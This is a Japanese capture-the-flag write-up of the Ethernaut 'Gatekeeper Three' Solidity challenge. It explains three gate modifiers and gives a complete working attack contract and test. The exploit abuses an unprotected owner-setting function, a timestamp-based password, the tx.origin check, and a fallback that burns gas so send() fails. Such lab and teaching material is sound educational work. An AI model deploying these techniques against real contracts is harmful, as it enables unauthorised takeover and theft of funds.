Skip to content
On this page

CTF課題 Gatekeeper Three 詳細解析:イーサリアムスマートコントラクトの三重ゲート突破

はじめに

イーサリアムのスマートコントラクトセキュリティ分野において、CTF(Capture The Flag)チャレンジはセキュリティ意識とスキルを高める重要な手段です。OpenZeppelinのEthernautプラットフォームは多くの精巧に設計された課題を提供しており、その中でもGatekeeper Threeは典型的な多層防御コントラクトです。攻撃者は三重のセキュリティゲート(gate)を突破して初めて侵入に成功します。本記事では、Gatekeeper Threeのセキュリティ機構、脆弱性の原理、そして攻撃戦略を包括的に解説します。

コントラクト構造の分析

1. コアコントラクト構造

Gatekeeper Threeコントラクトはモジュール化された設計を採用しており、3つのmodifierによって三層のセキュリティ防御を構築しています:

solidity
contract GatekeeperThree {
    address public owner;
    address public entrant;
    bool public allowEntrance;
    SimpleTrick public trick;

    // 三つのセキュリティゲート
    modifier gateOne() { ... }
    modifier gateTwo() { ... }
    modifier gateThree() { ... }
    
    // 重要な関数
    function enter() public gateOne gateTwo gateThree { ... }
}

2. 補助コントラクト SimpleTrick

SimpleTrickコントラクトはGatekeeper Threeの補助コンポーネントとして機能し、パスワード検証と権限管理を担当します:

solidity
contract SimpleTrick {
    GatekeeperThree public target;
    address public trick;
    uint256 private password = block.timestamp;  // 重要:ブロックタイムスタンプをパスワードとして使用

    function checkPassword(uint256 _password) public returns (bool) {
        if (_password == password) {
            return true;
        }
        password = block.timestamp;  // 間違った場合は更新
        return false;
    }
}

三重ゲートの技術詳細

第1ゲート:認証とコールチェーン制御

solidity
modifier gateOne() {
    require(msg.sender == owner);
    require(tx.origin != owner);
    _;
}

技術ポイント:

  1. msg.sender == owner:直接の呼び出し元がownerである必要がある
  2. tx.origin != owner:トランザクションの発起者はownerであってはならない
  3. 中間コントラクトを利用した呼び出しが必要になる設計

セキュリティ原理:

  • msg.sender:直接呼び出したアドレス
  • tx.origin:最初にトランザクションを発行したアドレス

第2ゲート:フラグ検証

solidity
modifier gateTwo() {
    require(allowEntrance == true);
    _;
}

ポイント:

  • allowEntranceは状態変数
  • getAllowance()を正しく実行する必要がある

第3ゲート:資金条件と送金失敗

solidity
modifier gateThree() {
    if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
        _;
    }
}

条件分析:

  1. 残高 > 0.001 ETH
  2. ownerへの送金が失敗する必要あり

重要な洞察:

  • send()は2300 gas制限
  • fallbackでgasを消費させることで失敗させられる

攻撃戦略

1. 攻撃フロー

  1. construct0r()でownerになる
  2. SimpleTrickを作成
  3. パスワード取得(timestamp)
  4. allowEntrance = trueに設定
  5. 資金条件を満たす
  6. enter()を実行

2. 攻撃コントラクト

solidity
contract Hack {
    GatekeeperThree private immutable target;
    
    constructor(address _target) payable {
        target = GatekeeperThree(payable(_target));
    }
    
    function doEnter() external payable {
        target.construct0r();
        target.createTrick();
        
        uint256 password = block.timestamp;
        target.getAllowance(password);
        
        uint256 amount = 0.001 ether + 0.0001 ether;
        payable(address(target)).transfer(amount);
        
        target.enter();
    }
    
    receive() external payable {
        uint256 i = 0;
        while(i < 1000) {
            i++;
        }
    }
}

3. 重要ポイント

パスワード取得

solidity
uint256 password = block.timestamp;

同一ブロック内ではtimestampが同じ → 推測可能


第1ゲート突破

  • msg.sender = Hackコントラクト
  • tx.origin = ユーザー

第3ゲート突破

  • ETH送金で残高条件達成
  • fallbackでgas消費 → send失敗

テストコード

typescript
describe("GatekeeperThree", function () {
  it("攻撃成功テスト", async function () {
    const target = await GatekeeperThreeFactory.deploy();
    
    const hack = await HackFactory.deploy(await target.getAddress(), {
      value: ethers.parseEther("0.0011")
    });
    
    await hack.doEnter({ value: ethers.parseEther("0.0011") });
    
    const entrant = await target.entrant();
    expect(entrant).to.equal(deployer[0].address);
  });
});

セキュリティ教訓

1. タイムスタンプ依存

❌ 不安全:

solidity
uint256 password = block.timestamp;

✅ 改善:

solidity
keccak256(...)

2. 権限チェック不足

solidity
owner = msg.sender;

solidity
require(owner == address(0));

3. send依存ロジック

solidity
send(...) == false

→ 攻撃可能


まとめ

Gatekeeper Threeから学べること:

  1. msg.sender vs tx.origin
  2. private変数は完全には秘密ではない
  3. gas制限は攻撃に利用される
  4. timestampは安全ではない

この課題は、スマートコントラクトセキュリティが多層的であることを示しています。安全なコントラクト設計には、予測可能な値の排除、厳格な権限管理、そして資金処理の慎重な設計が不可欠です。

Built with AiAda